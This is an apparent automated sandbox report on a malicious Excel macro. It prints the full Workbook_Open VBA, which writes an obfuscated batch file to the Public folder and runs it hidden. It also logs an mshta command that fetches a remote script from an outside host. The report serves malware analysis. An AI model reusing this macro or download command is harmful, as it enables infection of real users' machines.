66 28 74 68 69 73 2e 67 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5a 60 22 2b 74 68 69 73 2e 6f 2b 22 60 22 2b 61 29 3b 62 3d 62 3f 62 2e 74 6f 55 70 70 Data Ascii: J=!1;this.s=0;this.B=null;this.X="";this.R=this.W=!1};_.y(_.jg,_.G);kg=/^https?$/i;lg=["POST","PUT"];_.mg=[];_.jg.prototype.ba=function(){this.P();_.xa(_.mg,this)};_.jg.prototype.send=function(a,b,c,d){if(this.g)throw Error("Z`"+this.o+"`"+a);b=b?b.toUpp
2022-08-16 09:53:19 UTC	63	IN	Data Raw: 33 35 61 35 0d 0a 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 0a 74 68 69 73 2e 67 26 26 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 21 3d 3d 74 68 69 73 2e 57 26 26 28 74 68 69 73 2e 67 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 74 68 69 73 2e 57 29 3b 74 72 79 7b 6f 67 28 74 68 69 73 29 2c 30 3c 74 68 69 73 2e 73 26 26 28 28 74 68 69 73 2e 52 3d 70 67 28 74 68 69 73 2e 67 29 29 3f 28 74 68 69 73 2e 67 2e 74 69 6d 65 6f 75 74 3d 74 68 69 73 2e 73 2c 74 68 69 73 2e 67 2e 6f 6e 74 69 6d 65 6f 75 74 3d 28 30 2c 5f 2e 78 29 28 74 68 69 73 2e 5a 2c 74 68 69 73 29 29 3a 74 68 69 73 2e 42 3d 5f 2e 68 67 28 74 68 69 73 2e 5a 2c 74 68 69 73 2e 73 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 43 3d 21 30 2c 74 68 69 73 2e 67 2e 73 65 6e 64 28 Data Ascii: 35a5Credentials"inthis.g&&this.g.withCredentials!==this.W&&(this.g.withCredentials=this.W);try{og(this),0<this.s&&((this.R=pg(this.g))?(this.g.timeout=this.s,this.g.ontimeout=(0,_.x)(this.Z,this)):this.B=_.hg(this.Z,this.s,this)),this.C=!0,this.g.send(
2022-08-16 09:53:19 UTC	65	IN	Data Raw: 2e 68 3d 21 31 3b 74 72 79 7b 61 2e 4d 63 28 29 3f 28 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 63 6f 6d 70 6c 65 74 65 22 29 2c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 73 75 63 63 65 73 73 22 29 29 3a 28 61 2e 6c 3d 36 2c 71 67 28 61 29 29 7d 66 69 6e 61 6c 6c 79 7b 72 67 28 61 29 7d 7d 7d 2c 72 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 2e 67 29 7b 6f 67 28 61 29 3b 76 61 72 20 63 3d 61 2e 67 2c 64 3d 61 2e 49 5b 30 5d 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3a 6e 75 6c 6c 3b 61 2e 67 3d 6e 75 6c 6c 3b 61 2e 49 3d 6e 75 6c 6c 3b 62 7c 7c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 22 72 65 61 64 79 22 29 3b 74 72 79 7b 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 64 7d 63 61 74 63 68 28 65 29 7b Data Ascii: .h=!1;try{a.Mc()?(a.dispatchEvent("complete"),a.dispatchEvent("success")):(a.l=6,qg(a))}finally{rg(a)}}},rg=function(a,b){if(a.g){og(a);var c=a.g,d=a.I[0]?function(){}:null;a.g=null;a.I=null;b\|\|a.dispatchEvent("ready");try{c.onreadystatechange=d}catch(e){
2022-08-16 09:53:19 UTC	66	IN	Data Raw: 61 72 20 65 3d 64 2e 54 66 2c 66 3d 64 2e 69 6b 3b 61 3d 77 67 28 74 68 69 73 2c 61 2c 62 2c 64 2e 59 69 2c 63 29 3b 78 67 28 74 68 69 73 2c 61 2c 65 2c 66 2c 63 29 7d 3b 0a 76 61 72 20 77 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 64 3d 76 6f 69 64 20 30 3d 3d 3d 64 3f 7b 7d 3a 64 3b 76 61 72 20 66 3d 5b 5d 3b 79 67 28 61 2c 62 2c 63 2c 64 2c 76 6f 69 64 20 30 3d 3d 3d 65 3f 21 31 3a 65 2c 66 75 6e 63 74 69 6f 6e 28 67 29 7b 66 2e 70 75 73 68 28 67 2e 6f 62 28 29 29 7d 29 3b 72 65 74 75 72 6e 20 66 7d 2c 79 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 67 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 7b 7d 3a 67 3b 62 3d 5f 2e 56 61 28 62 29 3b 66 6f 72 28 76 61 72 20 6b 3d 62 2e 6e 65 78 74 28 29 3b 21 6b 2e Data Ascii: ar e=d.Tf,f=d.ik;a=wg(this,a,b,d.Yi,c);xg(this,a,e,f,c)};var wg=function(a,b,c,d,e){d=void 0===d?{}:d;var f=[];yg(a,b,c,d,void 0===e?!1:e,function(g){f.push(g.ob())});return f},yg=function(a,b,c,d,e,f,g){g=void 0===g?{}:g;b=_.Va(b);for(var k=b.next();!k.
2022-08-16 09:53:19 UTC	67	IN	Data Raw: 6f 75 74 22 2c 28 30 2c 5f 2e 78 29 28 65 2e 42 2c 65 29 29 3b 58 66 28 61 2e 48 2c 66 2c 22 72 65 61 64 79 22 2c 66 2e 50 2c 21 31 2c 66 29 3b 66 2e 73 3d 33 45 34 3b 44 67 28 61 2e 52 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 2e 73 65 6e 64 28 64 29 3b 72 65 74 75 72 6e 20 65 2e 67 7d 29 3b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 2c 42 67 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 3d 21 31 2c 66 2c 67 3d 21 31 2c 6b 3d 30 3b 6b 3c 62 2e 6c 65 6e 67 74 68 3b 6b 2b 2b 29 7b 76 61 72 20 6c 3d 62 5b 6b 5d 3b 69 66 28 21 66 26 26 6c 2e 6a 29 7b 65 3d 21 30 3b 66 3d 6c 2e 68 3b 62 72 65 61 6b 7d 65 6c 73 65 20 6c 2e 6c 26 26 28 67 3d 21 30 29 7d 76 61 72 20 6d 3d 5f 2e 79 61 28 61 2e 67 29 3b 28 65 Data Ascii: out",(0,_.x)(e.B,e));Xf(a.H,f,"ready",f.P,!1,f);f.s=3E4;Dg(a.R,function(){f.send(d);return e.g});return e}return null},Bg=function(a,b,c,d){for(var e=!1,f,g=!1,k=0;k<b.length;k++){var l=b[k];if(!f&&l.j){e=!0;f=l.h;break}else l.l&&(g=!0)}var m=_.ya(a.g);(e
2022-08-16 09:53:19 UTC	68	IN	Data Raw: 63 3d 77 69 6e 64 6f 77 3b 76 61 72 20 65 3d 5f 2e 46 62 28 61 2b 22 5c 72 5c 6e 2f 2f 23 20 73 6f 75 72 63 65 55 52 4c 3d 22 2b 62 29 2c 66 3d 5f 2e 45 62 28 65 29 3b 63 2e 65 76 61 6c 28 66 29 3d 3d 3d 66 26 26 63 2e 65 76 61 6c 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 63 61 74 63 68 28 67 29 7b 72 65 74 75 72 6e 21 31 7d 65 6c 73 65 20 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 46 67 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 5f 2e 46 66 28 61 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 7c 7c 22 22 3b 62 3d 5f 2e 46 66 28 54 66 28 62 29 2e 6d 61 74 63 68 28 5f 2e 45 66 29 5b 35 5d 7c 7c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 62 26 26 62 2e 6d 61 74 63 68 28 22 28 2f 5f 2f 6a 73 Data Ascii: c=window;var e=_.Fb(a+"\r\n//# sourceURL="+b),f=_.Eb(e);c.eval(f)===f&&c.eval(f.toString())}catch(g){return!1}else return!1;return!0},Fg=function(a){var b=_.Ff(a.match(_.Ef)[5]\|\|null)\|\|"";b=_.Ff(Tf(b).match(_.Ef)[5]\|\|null);return null!==b&&b.match("(/_/js
2022-08-16 09:53:19 UTC	70	IN	Data Raw: 3b 63 26 26 28 65 2e 6c 3d 63 29 3b 64 26 26 0a 28 65 2e 6a 3d 64 29 3b 65 2e 43 3d 62 3b 62 3d 6b 61 28 29 3b 62 2e 42 3d 65 3b 62 2e 55 68 28 21 30 29 3b 62 3d 6b 61 28 29 3b 62 2e 69 67 28 61 29 3b 61 2e 6a 28 62 29 7d 7d 29 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 5f 2e 68 61 29 7b 69 66 28 21 5f 2e 69 61 29 72 65 74 75 72 6e 3b 5f 2e 6a 61 28 29 7d 5f 2e 68 61 2e 68 67 28 61 2c 62 29 7d 3b 0a 0a 5f 2e 5f 4d 6f 64 75 6c 65 4d 61 6e 61 67 65 72 5f 69 6e 69 74 69 61 6c 69 7a 65 28 27 62 2f 73 79 30 2f 65 6c 5f 63 6f 6e 66 3a 31 2f 73 79 32 2f 73 79 31 3a 33 2f 73 79 34 2f 73 79 33 3a 31 2c 34 2c 35 2f 65 6c 5f 6d 61 69 6e 3a 36 2f 65 6c 5f 73 65 63 Data Ascii: ;c&&(e.l=c);d&&(e.j=d);e.C=b;b=ka();b.B=e;b.Uh(!0);b=ka();b.ig(a);a.j(b)}});_._ModuleManager_initialize=function(a,b){if(!_.ha){if(!_.ia)return;_.ja()}_.ha.hg(a,b)};_._ModuleManager_initialize('b/sy0/el_conf:1/sy2/sy1:3/sy4/sy3:1,4,5/el_main:6/el_sec
2022-08-16 09:53:19 UTC	71	IN	Data Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 5b 63 5d 29 3f 62 3d 62 5b 61 5b 63 5d 5d 3a 62 3d 62 5b 61 5b 63 5d 5d 3d 7b 7d 3a 62 3d 62 5b 61 5b 63 5d 5d 7c 7c 28 62 5b 61 5b 63 5d 5d 3d 7b 7d 29 3b 72 65 74 75 72 6e 20 62 7d 3b 4a 3d 7b 7d 3b 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3d 22 54 72 61 6e 73 6c 61 74 65 22 3b 4a 5b 30 5d 3d 4d 53 47 5f 54 52 41 4e 53 4c 41 54 45 3b 4d 53 47 5f 43 41 4e 43 45 4c 3d 22 43 61 6e 63 65 6c 22 3b 4a 5b 31 5d 3d 4d 53 47 5f 43 41 4e 43 45 4c 3b 0a 4d 53 47 5f 43 4c 4f 53 45 3d 22 43 6c 6f 73 65 22 3b 4a 5b 32 5d 3d 4d 53 47 5f 43 4c 4f 53 45 3b 4d 53 47 46 55 4e 43 5f 50 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 44 5f 54 4f 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 47 6f 6f 67 6c 65 20 68 61 73 20 74 72 Data Ascii: sOwnProperty(a[c])?b=b[a[c]]:b=b[a[c]]={}:b=b[a[c]]\|\|(b[a[c]]={});return b};J={};MSG_TRANSLATE="Translate";J[0]=MSG_TRANSLATE;MSG_CANCEL="Cancel";J[1]=MSG_CANCEL;MSG_CLOSE="Close";J[2]=MSG_CLOSE;MSGFUNC_PAGE_TRANSLATED_TO=function(a){return"Google has tr
2022-08-16 09:53:19 UTC	72	IN	Data Raw: 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 34 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 53 45 43 55 52 45 5f 50 41 47 45 3b 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3d 22 54 68 65 20 63 6f 6e 74 65 6e 74 20 6f 66 20 74 68 69 73 20 69 6e 74 72 61 6e 65 74 20 70 61 67 65 20 77 69 6c 6c 20 62 65 20 73 65 6e 74 20 74 6f 20 47 6f 6f 67 6c 65 20 66 6f 72 20 74 72 61 6e 73 6c 61 74 69 6f 6e 2c 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 65 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 3b 4a 5b 31 35 5d 3d 4d 53 47 5f 53 53 4c 5f 49 4e 46 4f 5f 49 4e 54 52 41 4e 45 54 5f 50 41 47 45 3b Data Ascii: sent to Google for translation, using a secure connection.";J[14]=MSG_SSL_INFO_SECURE_PAGE;MSG_SSL_INFO_INTRANET_PAGE="The content of this intranet page will be sent to Google for translation, using a secure connection.";J[15]=MSG_SSL_INFO_INTRANET_PAGE;
2022-08-16 09:53:19 UTC	73	IN	Data Raw: 4d 53 47 5f 4f 50 54 49 4f 4e 53 3d 22 4f 70 74 69 6f 6e 73 22 3b 4a 5b 32 39 5d 3d 4d 53 47 5f 4f 50 54 49 4f 4e 53 3b 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3d 22 54 75 72 6e 20 6f 66 66 20 74 72 61 6e 73 6c 61 74 69 6f 6e 20 66 6f 72 20 74 68 69 73 20 73 69 74 65 22 3b 4a 5b 33 30 5d 3d 4d 53 47 5f 54 55 52 4e 5f 4f 46 46 5f 54 52 41 4e 53 4c 41 54 49 4f 4e 5f 46 4f 52 5f 54 48 49 53 5f 53 49 54 45 3b 0a 4a 5b 33 31 5d 3d 6e 75 6c 6c 3b 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3d 22 53 68 6f 77 20 61 6c 74 65 72 6e 61 74 69 76 65 20 74 72 61 6e 73 6c 61 74 69 6f 6e 73 22 3b 4a 5b 33 32 5d 3d 4d 53 47 5f 41 4c 54 5f 53 55 47 47 45 53 54 49 4f 4e 3b 4d 53 47 5f 41 4c Data Ascii: MSG_OPTIONS="Options";J[29]=MSG_OPTIONS;MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE="Turn off translation for this site";J[30]=MSG_TURN_OFF_TRANSLATION_FOR_THIS_SITE;J[31]=null;MSG_ALT_SUGGESTION="Show alternative translations";J[32]=MSG_ALT_SUGGESTION;MSG_AL
2022-08-16 09:53:19 UTC	75	IN	Data Raw: 20 6f 66 20 74 68 65 20 77 65 62 20 70 61 67 65 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 4a 5b 34 35 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 55 4e 53 55 50 50 4f 52 54 45 44 3b 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3d 22 4c 61 6e 67 75 61 67 65 20 54 72 61 6e 73 6c 61 74 65 20 57 69 64 67 65 74 22 3b 4a 5b 34 36 5d 3d 4d 53 47 5f 4c 41 4e 47 55 41 47 45 5f 54 52 41 4e 53 4c 41 54 45 5f 57 49 44 47 45 54 3b 0a 5f 2e 75 62 28 22 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 22 2c 5f 2e 5f 65 78 70 6f 72 74 56 65 72 73 69 6f 6e 29 3b 5f 2e 75 62 28 22 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 2c 5f 2e 5f 67 65 74 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 29 3b 5f Data Ascii: of the web page is not supported.";J[45]=MSG_LANGUAGE_UNSUPPORTED;MSG_LANGUAGE_TRANSLATE_WIDGET="Language Translate Widget";J[46]=MSG_LANGUAGE_TRANSLATE_WIDGET;_.ub("_exportVersion",_._exportVersion);_.ub("_getCallbackFunction",_._getCallbackFunction);_
2022-08-16 09:53:19 UTC	76	IN	Data Raw: 74 70 73 27 2b 27 3a 2f 2f 27 3b 20 63 2e 5f 70 61 68 3d 68 3b 20 63 2e 5f 70 61 73 3d 73 3b 20 63 6f 6e 73 74 20 62 3d 73 2b 27 74 72 61 6e 73 6c 61 74 65 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 3b 20 63 6f 6e 73 74 20 73 74 61 74 69 63 50 61 74 68 20 3d 20 27 2f 74 72 61 6e 73 6c 61 74 65 5f 73 74 61 74 69 63 2f 27 3b 20 63 2e 5f 70 63 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 63 74 72 6c 33 2e 67 69 66 27 3b 20 63 2e 5f 70 6d 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 6d 69 6e 69 5f 67 6f 6f 67 6c 65 2e 70 6e 67 27 3b 20 63 2e 5f 70 62 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 2f 74 65 5f 62 6b 2e 67 69 66 27 3b 20 63 2e 5f 70 6c 69 3d 62 2b 73 74 61 74 69 63 50 61 74 68 2b 27 69 6d 67 Data Ascii: tps'+'://'; c._pah=h; c._pas=s; const b=s+'translate.googleapis.com'; const staticPath = '/translate_static/'; c._pci=b+staticPath+'img/te_ctrl3.gif'; c._pmi=b+staticPath+'img/mini_google.png'; c._pbi=b+staticPath+'img/te_bk.gif'; c._pli=b+staticPath+'img
2022-08-16 09:53:19 UTC	77	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:53:15
Start date:	16/08/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f450000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	2
Start time:	11:53:17
Start date:	16/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Imagebase:	0x4a0d0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	4
Start time:	11:53:18
Start date:	16/08/2022
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping -n 8 127.0.0.1
Imagebase:	0xffed0000
File size:	16896 bytes
MD5 hash:	5FB30FE90736C7FC77DE637021B1CE7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	5
Start time:	11:53:26
Start date:	16/08/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c start /min taskkill /f /im WINWORD.EXE
Imagebase:	0x4a0d0000
File size:	345088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	11:53:26
Start date:	16/08/2022
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im WINWORD.EXE
Imagebase:	0xff700000
File size:	112640 bytes
MD5 hash:	3722FA501DCB50AE42818F9034906891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	8
Start time:	11:53:27
Start date:	16/08/2022
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Imagebase:	0x13fd50000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: EstaPastaDeTrabalho

Declaration

Line	Content
1	Attribute VB_Name = "EstaPastaDeTrabalho"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
Workbook_OpenAPIs: 4, Strings: 12, Number of lines: 23, Relevance: 38.023

APIs	Meta Information
Environ	Environ("Public") -> C:\Users\Public
Open	Open("C:\Users\Public\Outlook.bat")
Shell$
vbLf

Strings	Decrypted Strings
"Public"
"call getCmdPid.bat"
"set PID=%errorlevel%"
"call windowMode.bat -pid %PID% -mode hidden"
"cd C:\Users\Public"
"@echo off"
"Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
"cls"
"%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
" </ul>"
" </ul>"
"cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit"

Line	Instruction	Meta Information
9	Private Sub Workbook_Open()
10	Dim iStage as Integer	executed
11	Dim iCounter as Integer
12	Dim iPage as Integer
13	Dim sFile as String
14	sFile = Environ("Public") & "\Outlook.bat"	Environ("Public") -> C:\Users\Public executed
16	Close
17	Open sFile For Output As # 1	Open("C:\Users\Public\Outlook.bat") executed
18	Print # 1, "call getCmdPid.bat"
19	Print # 1, "set PID=%errorlevel%"
20	Print # 1, "call windowMode.bat -pid %PID% -mode hidden"
21	Print # 1, "cd C:\Users\Public"
22	Print # 1, "@echo off"
23	Print # 1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
24	Print # 1, "cls"
25	Print # 1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"
30	For iCounter = 2 To iStage
31	Print # 1, " </ul>"
32	iStage = iStage - 1
33	Next iCounter
33	Shell$ "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0	Shell$ vbLf
40	Close
43	End Sub

Module: Planilha1

Declaration

Line	Content
1	Attribute VB_Name = "Planilha1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 1992, Parent PID: 1796COMMON

Executed Functions

Function 05146E48 Relevance: .9, Instructions: 860COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1177095033.0000000005140000.00000010.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5140000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa03e4d554f3298063ff54041cccd07eb7c46644d8375dea70e49125c100ed0
Instruction ID: 66baa25a4bb84fa125b1edacf588d2b3060b8a0e33ab59d58095adbfbb700034
Opcode Fuzzy Hash: 7aa03e4d554f3298063ff54041cccd07eb7c46644d8375dea70e49125c100ed0
Instruction Fuzzy Hash: 5DC12530618E4C0FDB58EB6C9859B74B7D2FB99300F5414AAE94AC73D2D724DC82CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05147620 Relevance: .8, Instructions: 821COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1177095033.0000000005140000.00000010.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5140000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4ef0d188be54c101316309e32cae39ee84e21a9e06bf47993ff05de2a0625c9
Instruction ID: dd84d2919b12efd6692cdaea93bda449087987553550684e1e59402822700cc6
Opcode Fuzzy Hash: d4ef0d188be54c101316309e32cae39ee84e21a9e06bf47993ff05de2a0625c9
Instruction Fuzzy Hash: 3632243061CE4D4FDB5DE76C8458A78BBE3FB89345B5418AAD44AC72D2DB20DC92CB81

Uniqueness

Uniqueness Score: -1.00%

Function 051458B6 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1177095033.0000000005140000.00000010.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5140000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72583d177990431e1d53d5508c2971c86a9db4c9411728589d01e652ce45eebe
Instruction ID: 1d76fc4eab58dcd2f7f2128ff827c4fc2d1698d39f6011897f602de0b2d44afd
Opcode Fuzzy Hash: 72583d177990431e1d53d5508c2971c86a9db4c9411728589d01e652ce45eebe
Instruction Fuzzy Hash: 6B41F530718D5D4FE769D33C8468B7866D3FB49358B6628E6D44FDB292D624CC92CB80

Uniqueness

Uniqueness Score: -1.00%

Function 05146AF2 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1177095033.0000000005140000.00000010.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5140000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f30175f4216615becb7de52935e48a91e8f7a5b697d69216db66a10eb0bece0
Instruction ID: fef4bd7e5ab81b3f919a89b4a655605fab86f80d45fc74e6bb91a2e620dc398c
